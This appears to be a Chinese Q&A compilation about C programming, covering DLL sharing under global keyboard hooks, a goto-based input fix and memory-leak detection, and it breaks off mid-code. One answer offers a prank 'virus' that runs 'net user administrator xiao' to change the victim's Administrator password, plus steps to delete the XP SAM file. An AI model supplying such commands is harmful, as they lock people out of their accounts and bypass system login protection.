❶ c语言木马源代码
ls这个好像是感染c文件的病毒,自动加上玩笑代码(当然可以是恶意的)
不是木马
❷ C语言钩子的问题,好像有漏洞啊
知道动态链接库的底层实现么?
一个动态链接库在物理内存中只被装入一次
意味着你的dll在内存中只有一个副本
一个进程加载你的dll这个过程仅仅是操作系统把那块dll物理内存所对的那块内存加载到这个进程的逻辑地址(地址空间)罢了
怎么可能内存浪费?
所有进程都加载了你的dll,那个dll在实际内存中也只有一个副本
这就是动态链接库的好处
PS::dll被动加载(不是用LoadLibrary加载)是以进程为单位的。。。。下次不要说一个线程加载了dll了。。。。即使一个线程加载了那个dll,那个dll也是被那个进程共享的
对你的问题的补充
我只补充一点:对于任何一个dll,都是可以被共享的
如果两个进程a和b都需要加载动态链接库1.dll
那操作系统负责把1.dll装入物理内存
然后把这块内存区域的数据(在逻辑上)加载到进程a和进程b的虚拟地址空间中(按照a和b的输入表以及重定位信息装入到一个地址中)
所谓逻辑上加载就是并没有在实际内存中额外创建一个1.dll的副本
当a.进程退出时,1.dll继续停留在内存中,当b进程退出时,操作系统会知道模块1.dll在内存中已经不被需要了就会回收这块内存。
这就是动态链接库的好处,除代码重用之外还能减少内存占用!(无论是在开发上,还是在实际使用上,动态链接库都有着不可取代的高效)
另外我想我上面的回答已经够详细了
还不懂,那我也没办法
二楼的解释纯属扯谈
全局钩子就是需要操作系统把这个dll映射到每一个进程中去的。
但这样就是常驻内存吗?请问二楼你写过全局钩子吗?请问二楼你写代码的时候申请了一块内存有释放掉这块内存的习惯吗?
我请问你听说过Windows API :
UnhookWindowsHookEx
(
HHOOK hhk;
);
吗?没听说过请别瞎扯 ,ok?
全局钩子就是要钩全局的事件,为何要指定释放?需要指定释放那创建钩子的时候为什么不用进程钩子?不吐槽了,无奈~~
不懂windows运行机制最好不要上来误导不懂的人,谢谢
楼主如果只是做开发的,那你只需要知道全局键盘钩子不需要任何额外内存就可以运行得很好,操作系统能做到把一块物理内存上的 dll数据加载到每一个进程地址空间中去~
楼主如果想要把这个过程了解清楚
请参阅windows编程以及windows操作系统的相关书籍
如果能看懂《windows环境下32位汇编语言程序设计》这本书,那你几乎问不出任何windows编程的问题了~
❸ 求C语言病毒源码
一个小东西 介绍了后别笑话我 !它的功能很简单,就是把Administrator的密码该成xiao
大家整了人之后切记告诉他密码(xiao)
自己可以用TC2.0编写编译调试生成
C语言下的代码如下:
main()
{
system("net user administrator xiao");
}
如果自己真的不小心忘记了密码 如果是XP系统 管理员密码破解如下:
1.用个启动盘启动电脑后进入DOS 状态下:输入如下命令
del X:\windows\sysrem32\config\sam 回车
x:\windows\repair\sam x:\windows\system32\config 回车
2.重新启动计算机。X为安装XP的盘 一般为c:
❹ 求网络安全漏洞扫描源代码,C或C++语言。(水平要高于本科)
哎,本人也就个本科水平,帮不了你了,遗憾
❺ 关于C语言的:一个程序的漏洞修补
我觉得这题最好用switch分支,而且既然在“printf("请选择运算符号(1为加,2为减,3为乘,4为除,5为关闭程序),程序会自动生成一个运算数不超过2位数的算术式:"); ”输入字母时判断为错误,我觉得后面就没有再输入答案的必要了,所以我改为在“printf("请选择运算符号(1为加,2为减,3为乘,4为除,5为关闭程序),程序会自动生成一个运算数不超过2位数的算术式:"); ”前加一个" Loop:",把continue改为goto Loop;虽然在C中goto语句最好不使用,但我觉得这题足取!
❻ 如何检测C语言中的内存漏洞(leak)
在动态分配的内存单元(即由函数malloc()或ealloc()分配的内存单元)不再使用却没有被释放的情况下,会出现内存漏洞。未释放内存单元本身并不是一种错误,编译程序不会因此报告出错,程序也不会因此而立即崩溃。但是,如果不再使用而又没有被释放的内存单元越来越多,程序所能使用的内存空间就越来越小。最终,当程序试图要求分配内存时,就会发现已经没有可用的内存空间。这时,尤其是当程序员没有考虑到内存分配失败的可能性时,程序的运行就会出现异常现象。
内存漏洞是最难检测的错误之一,同时也是最危险的错误。导致这个问题的编程错误很可能出现在程序的开始部分,但只有当程序奠名其妙地使用完内存后,这个问题才会暴露出来。
此时去检查当前那条导致内存分配失败的语句是无济于事的,因为那些分配了内存却未能按时释放内存的代码可能在程序的其它地方。
遗憾的是C语言并没有为检测或修复内存漏洞提供现成的方法。除非使用提供这种功能的商业软件包,否则,程序员就需要以很大的耐心和精力去检测和修复内存漏洞。最好的办法是在编写程序时就充分考虑到内存漏洞的可能性,并小心谨慎地处理这种可能性。
导致内存漏洞的最简单的也是最常见的原因是忘记释放分配给临时缓冲区的内存空间,请看下述程序段:
# include
# include /** Say hello to the user's and put the user's name in UPPERCASE.*/void SayHi( char *name ){char * UpName;int a;UpName = malloc( strlen( name ) +1);
/ * Allocate space for the name * /
for( a =0; a